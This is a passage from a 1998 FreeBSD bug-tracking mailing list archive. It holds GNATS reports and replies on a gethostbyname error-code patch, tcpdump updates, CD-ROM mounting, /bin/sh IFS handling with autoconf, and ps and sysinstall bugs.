list, I'd say a TON of other people run into these problems. I don't even know if there is more I should do to get better performance... ??? No documentation I've found in several months of searching, so how am I to know? FreeBSD really needs a way to easily get full performance from the system. I personally don't mind the kernel taking up the extra memory, it's a lot bigger hassle to figure out how to keep the stupid thing from crashing and how to keep apache from running into resource limitations. I'm not trying to be an ass, but I really think that this is a big problem with FreeBSD. I almost punted on FreeBSD and went the route of getting all of our CGI working under Linux because I couldn't get the OS to simply run at it's full potential, and I really think this should be treated as a bug. All operating systems have issues like this (Linux and file descriptors/process, for instance), but to see FreeBSD have more built in and undocumented restrictions and limitations than Windows NT is really depressing :) >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 16:35:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA09726 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 16:35:14 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA09695; Wed, 9 Sep 1998 16:34:54 -0700 (PDT) (envelope-from brian@FreeBSD.org) From: Brian Somers Received: (from brian@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id QAA13507; Wed, 9 Sep 1998 16:34:53 -0700 (PDT) Date: Wed, 9 Sep 1998 16:34:53 -0700 (PDT) Message-Id: <199809092334.QAA13507@freefall.freebsd.org> To: hjj@datacom.dk400.dk, brian@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, brian@FreeBSD.ORG Subject: Re: bin/7870 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: PPP connection dies after ping of certain size packets State-Changed-From-To: open-closed State-Changed-By: brian State-Changed-When: Wed Sep 9 16:27:25 PDT 1998 State-Changed-Why: Ppp's mine Responsible-Changed-From-To: freebsd-bugs->brian Responsible-Changed-By: brian Responsible-Changed-When: Wed Sep 9 16:27:25 PDT 1998 Responsible-Changed-Why: Ppp's mine To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 19:00:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA02300 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 19:00:11 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA02212 for ; Wed, 9 Sep 1998 19:00:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id TAA17436; Wed, 9 Sep 1998 19:00:00 -0700 (PDT) Received: from midten.fast.no (midten.fast.no [195.139.251.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA01409 for ; Wed, 9 Sep 1998 18:55:22 -0700 (PDT) (envelope-from tegge@not.fast.no) Received: from not.fast.no (IDENT:tegge@not.fast.no [195.139.251.12]) by midten.fast.no (8.9.1/8.9.1) with ESMTP id DAA08062 for ; Thu, 10 Sep 1998 03:55:13 +0200 (CEST) Received: (from tegge@localhost) by not.fast.no (8.8.8/8.8.8) id DAA13840; Thu, 10 Sep 1998 03:55:12 +0200 (CEST) (envelope-from tegge@not.fast.no) Message-Id: <199809100155.DAA13840@not.fast.no> Date: Thu, 10 Sep 1998 03:55:12 +0200 (CEST) From: Tor Egge Reply-To: tegge@not.fast.no To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7876: gethostbyname flags temporary failure as unknown host Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7876 >Category: bin >Synopsis: gethostbyname flags temporary failure as unknown host >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Sep 9 19:00:00 PDT 1998 >Last-Modified: >Originator: Tor Egge >Organization: Fast Search & Transfer ASA >Release: FreeBSD 3.0-CURRENT i386 >Environment: FreeBSD 3.0-current from Jul 30 1998 FreeBSD not.fast.no 3.0-CURRENT FreeBSD 3.0-CURRENT #15: Sat Sep 5 18:24:21 CEST 1998 root@not.fast.no:/usr/src/sys/compile/NOT_SMP i386 >Description: If hosts is after bind in /etc/host.conf, the error code from the DNS lookup is overwritten by the error code from the /etc/hosts lookup. This means that temporary lookup failures are incorrectly flagged as permanent lookup failures. >How-To-Repeat: Add rules to sendmail 8.9.1 to reject mail from hosts not registered in DNS. Be a victim of routing problems, cutting you off from all root name servers. Wait for cached entries to time out in your local name server. Discover that sendmail has bounced email from a machine properly registered in DNS. >Fix: Index: lib/libc/net/gethostnamadr.c =================================================================== RCS file: /home/ncvs/src/lib/libc/net/gethostnamadr.c,v retrieving revision 1.13 diff -u -r1.13 gethostnamadr.c --- gethostnamadr.c 1997/12/25 04:21:08 1.13 +++ gethostnamadr.c 1998/09/10 01:23:36 @@ -136,6 +136,7 @@ { struct hostent *hp = 0; int nserv = 0; + int tempfail = NETDB_SUCCESS; if (!service_done) init_services(); @@ -143,12 +144,17 @@ while (!hp) { switch (service_order[nserv]) { case SERVICE_NONE: + if (tempfail != NETDB_SUCCESS && + h_errno == HOST_NOT_FOUND) + h_errno = tempfail; return NULL; case SERVICE_HOSTS: hp = _gethostbyhtname(name, type); break; case SERVICE_BIND: hp = _gethostbydnsname(name, type); + if (hp == NULL) + tempfail = h_errno; break; case SERVICE_NIS: hp = _gethostbynisname(name, type); @@ -164,6 +170,7 @@ { struct hostent *hp = 0; int nserv = 0; + int tempfail = NETDB_SUCCESS; if (!service_done) init_services(); @@ -171,12 +178,17 @@ while (!hp) { switch (service_order[nserv]) { case SERVICE_NONE: - return 0; + if (tempfail != NETDB_SUCCESS && + h_errno == HOST_NOT_FOUND) + h_errno = tempfail; + return NULL; case SERVICE_HOSTS: hp = _gethostbyhtaddr(addr, len, type); break; case SERVICE_BIND: hp = _gethostbydnsaddr(addr, len, type); + if (hp == NULL) + tempfail = h_errno; break; case SERVICE_NIS: hp = _gethostbynisaddr(addr, len, type); >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 19:00:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA02319 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 19:00:13 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA02220 for ; Wed, 9 Sep 1998 19:00:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id TAA17445; Wed, 9 Sep 1998 19:00:01 -0700 (PDT) Received: from istari.home.net (cc158233-a.catv1.md.home.com [24.3.25.17]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA01430 for ; Wed, 9 Sep 1998 18:55:25 -0700 (PDT) (envelope-from sjr@home.net) Received: (from sjr@localhost) by istari.home.net (8.8.8/8.8.6) id VAA15290; Wed, 9 Sep 1998 21:55:17 -0400 (EDT) Message-Id: <199809100155.VAA15290@istari.home.net> Date: Wed, 9 Sep 1998 21:55:17 -0400 (EDT) From: sjr@home.net Reply-To: sjr@home.net To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7877: libpcap and tcpdump need updating Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7877 >Category: bin >Synopsis: libpcap and tcpdump need updating >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Wed Sep 9 19:00:01 PDT 1998 >Last-Modified: >Originator: Stephen J. Roznowski >Organization: >Release: FreeBSD 3.0-CURRENT i386 >Environment: >Description: Version 3.4 of tcpdump is now available from ftp.ee.lbl.gov. Version 0.4 of libpcap is also available. It would also be nice to have: ftp://samba.anu.edu.au/pub/samba/tcpdump-smb/tcpdump-3.4a5-smb.patch incorporated into the FreeBSD version. >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 01:30:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA24457 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 01:30:06 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA24440 for ; Thu, 10 Sep 1998 01:30:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA27351; Thu, 10 Sep 1998 01:30:01 -0700 (PDT) Received: from yorikke.arb-phys.uni-dortmund.de (yorikke.arb-phys.uni-dortmund.de [192.109.44.12]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA24007 for ; Thu, 10 Sep 1998 01:23:50 -0700 (PDT) (envelope-from wb@yorikke.arb-phys.uni-dortmund.de) Received: (from wb@localhost) by yorikke.arb-phys.uni-dortmund.de (8.9.1/8.9.1) id KAA23955; Thu, 10 Sep 1998 10:24:37 +0200 (MET DST) (envelope-from wb) Message-Id: <199809100824.KAA23955@yorikke.arb-phys.uni-dortmund.de> Date: Thu, 10 Sep 1998 10:24:37 +0200 (MET DST) From: "Wilhelm B. Kloke" Reply-To: wb@yorikke.arb-phys.uni-dortmund.de To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/7880: mount_cd9660 incorrect on multitrack CD-R Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7880 >Category: kern >Synopsis: mount_cd9660 incorrect on multitrack CD-R >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Sep 10 01:30:00 PDT 1998 >Last-Modified: >Originator: Wilhelm B. Kloke >Organization: Inst f Arbeitsphysiologie Uni Dortmund >Release: FreeBSD 3.0-CURRENT i386 >Environment: As noted. Probably same in 2.2.x also. >Description: When I tried to mount a Kodak Photo CD, mount_cd9660 failed with a bad message (``invalid argument''). I traced this fault down to the following. The disk was written with 7 tracks, in one session. It was readable on Windows. It was also mountable when I added -s 0 option. >How-To-Repeat: Easily. >Fix: I looked into the source /sys/isofs/cd9660/cd9660_vfsops.c. There is a comment: > /* > * Try to find the start of the last data track on this CD-ROM. This > * is used to mount the last session of a multi-session CD. Bail out > * and return 0 if we fail, this is always a safe bet. > */ This is not the correct algorithm. The first track of the last session is needed. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 01:30:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA24458 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 01:30:07 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA24442 for ; Thu, 10 Sep 1998 01:30:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA27356; Thu, 10 Sep 1998 01:30:02 -0700 (PDT) Date: Thu, 10 Sep 1998 01:30:02 -0700 (PDT) Message-Id: <199809100830.BAA27356@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Garance A Drosihn Subject: Re: bin/6557: /bin/sh is broken Reply-To: Garance A Drosihn Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6557; it has been noted by GNATS. From: Garance A Drosihn To: freebsd-gnats-submit@freebsd.org, dima@best.net Cc: Martin Cracauer , woods@zeus.leitch.com (Greg A. Woods) Subject: Re: bin/6557: /bin/sh is broken Date: Thu, 10 Sep 1998 04:33:30 -0400 So, what (if anything) was decided after all this discussion about IFS handling in /bin/sh? I'm wandering into this topic now because someone used autoconfig to setup a program they are working on, and they wanted me to try this out on "any OS's" I had. I noticed that the configure script got some syntax errors under freebsd, traced those down, and wrote a minimal script that showed the problem (of course I did this *before* checking the gnats database, thus wasting time that I could have easily avoided wasting...). If I understand the discussion in bin/6557 correctly, assorted standards imply that the script I wrote (based on what autoconf did for my friend) is *not* supposed to work. At the same time, the script I have does in fact work on NeXTSTEP 3.3, AIX 4.1, AIX 4.3, Solaris 2.5, Solaris 2.6, IRIX 6.2, IRIX 6.3, and whatever versions of linux this guy is running. It also works if I use bash under FreeBSD (I didn't check bash2...). So, either freebsd could change to work like every other /bin/sh I curently have access to, or all those /bin/sh's will change to follow these "standards" that everyone is quoting from. The first question would be: What is the probability that either one of these two things will happen? Is it greater than zero? This would probably be a much less important issue if it wasn't for autoconf. There are at least two other ways that autoconf could do it's checking which would work for freebsd's current /bin/sh and which would also be guareenteed to work on every operating system that their current strategy works on. What is the probability that we could convince the autoconf guys to change the tactic some of their tests use? (I have no experience using autoconf itself, just the scripts that it generates). I realize we could fix autoconf for freebsd, but is there any way to fix it on freebsd such that we "auto correct" for programs which were autoconfig-ed on some other platform? (such as this tar file I picked up from my friend on his linux box). Note that I'm not pursuing the question of "what is the correct behavior of IFS in shells", I'm just at the level of the more pedestrian question of how to coexist gracefully with autoconf'ed programs. My friend took a real mess of code and cleaned it up to use autoconf, which was a very good thing. It'd be nice if the result worked correctly on freebsd without tripping into syntax errors. Admittedly, I'm not in a good mood about this at the moment, but I'm not upset with "freebsd" so much as "unix written standards", which are apparently totally disconnected from "unix reality". As odd as it sounds, I'd be much happier if this was just a bug in freebsd that no one had gotten around to fixing yet. --- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 01:50:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA26894 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 01:50:17 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA26766 for ; Thu, 10 Sep 1998 01:50:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA27887; Thu, 10 Sep 1998 01:50:00 -0700 (PDT) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA25786 for ; Thu, 10 Sep 1998 01:43:00 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id SAA00928 for ; Thu, 10 Sep 1998 18:12:50 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.1/8.9.0) id SAA11394; Thu, 10 Sep 1998 18:12:22 +0930 (CST) Message-Id: <199809100842.SAA11394@freebie.lemis.com> Date: Thu, 10 Sep 1998 18:12:22 +0930 (CST) From: Greg Lehey Reply-To: grog@lemis.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7881: Current ps -u not showing correct %CPU and %MEM values Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7881 >Category: bin >Synopsis: The %CPU and %MEM fields in ps -u are always 0 >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Sep 10 01:50:00 PDT 1998 >Last-Modified: >Originator: Greg Lehey >Organization: LEMIS >Release: FreeBSD 3.0-CURRENT i386 >Environment: Recent 3.0-CURRENT >Description: In -CURRENT versions supped on 30 August and 6 September (and presumably in between), ps -u shows %CPU and %MEM values of 0.0 for all processes. This may be a kernel problem, but top shows the values correctly. For example, on a looping process: ps: USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND grog 6030 0.0 0.0 96168 60812 v0 R 7:01PM 10:54.06 /T/local/bin/netscape top: PID USERNAME PRI NICE SIZE RES STATE TIME WCPU CPU COMMAND 6030 grog 105 0 96168K 60812K RUN 11:08 89.65% 89.65% netscape >How-To-Repeat: Run ps -aux >Fix: Not known >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 03:20:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA04029 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 03:20:04 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA04024 for ; Thu, 10 Sep 1998 03:20:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id DAA00224; Thu, 10 Sep 1998 03:20:01 -0700 (PDT) Date: Thu, 10 Sep 1998 03:20:01 -0700 (PDT) Message-Id: <199809101020.DAA00224@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Martin Cracauer Subject: Re: bin/6557: /bin/sh is broken Reply-To: Martin Cracauer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6557; it has been noted by GNATS. From: Martin Cracauer To: Garance A Drosihn , freebsd-gnats-submit@freebsd.org, dima@best.net Cc: Martin Cracauer , "Greg A. Woods" Subject: Re: bin/6557: /bin/sh is broken Date: Thu, 10 Sep 1998 12:15:18 +0200 In , Garance A Drosihn wrote: > So, what (if anything) was decided after all this discussion about > IFS handling in /bin/sh? There's no "FreeBSD" decision, but I can state my impressions: 1) The issue is utterly complex. Regarding to Posix, the semantics of $IFS change with the contents, to support every IFS construction that was formerly i use on different shells. Urgs... 2) The construct autoconf is falling over is very simple to replace with one extra variable assignment and FreeBSD's ash isn't the only one that fails to supports this construct, so I really think the autoconf people should change it. After all, the whole point of autoconf is to determine differences in systems, it shouldn't rely on non-portable behaviour, at least not when not neccessary. 3) I just ordered my Posix documents (expensive!), until they arrive, I can't really act. Said that, Thor Egge commited some syntax fixes to sh a few days ago. He did not change the basic IFS behaviour, but fixed some real bugs related to list handling. It is possible that the code you have problems with is affected by this. Could you try your example with the newest sh from -current and give us feedback (or post the code)? Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer Tel.: (private) +4940 5221829 Fax.: (private) +4940 5228536 Paper: (private) Waldstrasse 200, 22846 Norderstedt, Germany To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 10:29:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA10630 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 10:29:23 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from mail.astrac.com (mail.astrac.com [194.152.89.66]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA10613 for ; Thu, 10 Sep 1998 10:29:18 -0700 (PDT) (envelope-from peter.duffy@astrac.com) From: peter.duffy@astrac.com Received: from duffypd (duffypd.astrac.com [195.51.152.10]) by mail.astrac.com (8.6.12/8.6.12) with SMTP id SAA25251 for ; Thu, 10 Sep 1998 18:28:40 +0100 Message-Id: <199809101728.SAA25251@mail.astrac.com> Reply-to: peter.duffy@astrac.com Date: Thu, 10 Sep 98 18:26:33 +0100 To: freebsd-bugs@FreeBSD.ORG Subject: keyboard lockup on 2.2.5 install boot X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.29 (Unregistered) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, I'm trying to install FreeBSD 2.2.5 on an old machine (486DX2-66.) I boot from the floppy: the kernel boots and the install screen appears as normal - but the keyboard is totally locked out. (Only clue which I can see is that a message appears at the start of the boot process: "sc0: cannot set command byte".) (The baffling thing is that I can enter visual kernel configuration and the keyboard works fine at that point.) Any ideas would be very welcome. Regards, Peter -- ----------------------------------------------------------- peter.duffy@astrac.com Peter W. Duffy Systems Manager ASTRAC LTD. Tel: 01132-585288 ----------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 10:34:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA11461 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 10:34:00 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA11445; Thu, 10 Sep 1998 10:33:55 -0700 (PDT) (envelope-from fenner@FreeBSD.org) From: Bill Fenner Received: (from fenner@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id KAA16957; Thu, 10 Sep 1998 10:33:54 -0700 (PDT) Date: Thu, 10 Sep 1998 10:33:54 -0700 (PDT) Message-Id: <199809101733.KAA16957@freefall.freebsd.org> To: fenner@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, fenner@FreeBSD.ORG Subject: Re: bin/7877 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: libpcap and tcpdump need updating Responsible-Changed-From-To: freebsd-bugs->fenner Responsible-Changed-By: fenner Responsible-Changed-When: Thu Sep 10 10:33:03 PDT 1998 Responsible-Changed-Why: fenner did this merge last time - looks like ppp will be the troublemaker this time... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 10:50:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA15242 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 10:50:12 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA15170 for ; Thu, 10 Sep 1998 10:50:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id KAA17731; Thu, 10 Sep 1998 10:50:01 -0700 (PDT) Received: from ctcdist.com. ([199.3.192.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA14807 for ; Thu, 10 Sep 1998 10:48:54 -0700 (PDT) (envelope-from placej@ctcdist.com) Received: (from placej@localhost) by ctcdist.com. (8.8.8/8.8.7) id NAA00802; Thu, 10 Sep 1998 13:48:57 -0400 (EDT) (envelope-from placej) Message-Id: <199809101748.NAA00802@ctcdist.com.> Date: Thu, 10 Sep 1998 13:48:57 -0400 (EDT) From: placej@ctcdist.com Reply-To: placej@ctcdist.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: misc/7884: sysinstall fails to release CD-ROM Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7884 >Category: misc >Synopsis: sysinstall fails to release CD-ROM >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Sep 10 10:50:00 PDT 1998 >Last-Modified: >Originator: John C. Place >Organization: >Release: FreeBSD 2.2.7-RELEASE i386 >Environment: IDE CD-ROM >Description: After exiting sysinstall it is leaving the ROM mounted to /dist so that nothing else can connect to it (not even sysinstall). This is happening on two machines that developed this problem when I started running 2.2.7. It is only an annoyance not a serious problem. >How-To-Repeat: As root run sysinstall go to the package install option and pick CD-ROM for the source. Next back out of it by selecting install and confirming that there were no packages added. Exit sysinstall. Now go back in to sysinstall and try to install a package and when you select CD-ROM as the source you will get an error that no ROM can be found. >Fix: Work around: as root type "umount /dist" I could not find the source for the /stand execs so I haven't looked at it any further. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 11:07:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA20278 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 11:07:30 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA20268; Thu, 10 Sep 1998 11:07:21 -0700 (PDT) (envelope-from bde@FreeBSD.org) From: Bruce Evans Received: (from bde@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id LAA18644; Thu, 10 Sep 1998 11:07:19 -0700 (PDT) Date: Thu, 10 Sep 1998 11:07:19 -0700 (PDT) Message-Id: <199809101807.LAA18644@freefall.freebsd.org> To: grog@lemis.com, bde@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/7881 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: The %CPU and %MEM fields in ps -u are always 0 State-Changed-From-To: open-closed State-Changed-By: bde State-Changed-When: Thu Sep 10 11:06:47 PDT 1998 State-Changed-Why: Fixed in rev.1.12 of ps/nlist.c. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 12:00:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA29585 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 12:00:06 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA29554 for ; Thu, 10 Sep 1998 12:00:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA20596; Thu, 10 Sep 1998 12:00:00 -0700 (PDT) Date: Thu, 10 Sep 1998 12:00:00 -0700 (PDT) Message-Id: <199809101900.MAA20596@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Garance A Drosihn Subject: Re: bin/6557: /bin/sh is broken Reply-To: Garance A Drosihn Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6557; it has been noted by GNATS. From: Garance A Drosihn To: Martin Cracauer , freebsd-gnats-submit@freebsd.org, dima@best.net Cc: Martin Cracauer , "Greg A. Woods" Subject: Re: bin/6557: /bin/sh is broken Date: Thu, 10 Sep 1998 14:48:17 -0400 At 12:15 PM +0200 9/10/98, Martin Cracauer wrote: > 2) The construct autoconf is falling over is very simple to > replace with one extra variable assignment It could also be fixed if autoconf was changed from doing: for ckpath in $PATH:dir1:dir1 ; do to for ckpath in $PATH dir1 dir2 ; do My question is, has anyone brought this up with the autoconf guys? It is inconceivable that the above change would cause any script on any platform to break, and it is no additional overhead. Should I point that out to the autoconf guys, or have other people already talked to them only to find out that they not interested? I have no strong feelings on how IFS itself is processed, or how it should be processed. I'd just like autoconf scripts to work... > Said that, Thor Egge commited some syntax fixes to sh a few > days ago. He did not change the basic IFS behaviour, but > fixed some real bugs related to list handling. It is possible > that the code you have problems with is affected by this. I doubt it, but at least this gives me a chance to point people at the bug-reproducing script that I wrote last night (*before* checking gnats, sigh...). My only freebsd- current system is in a "production mode" status now, so I wouldn't want to be making changes on that. However, the following script will demonstrate the bug: ftp://eclipse.its.rpi.edu/pub/fbsd/bugs/ifs_bug.sh the script works on all unix's I have access to, except for freebsd-stable and freebsd-current. It's a minimal version of what autoconf likes to do, so if this script worked then the autofconf issues would be gone. All you have to do is run it (on any unix platform), and the output should be pretty self-explanatory (although you would want to read the script first, just on general principles :-) --- Garance Alistair 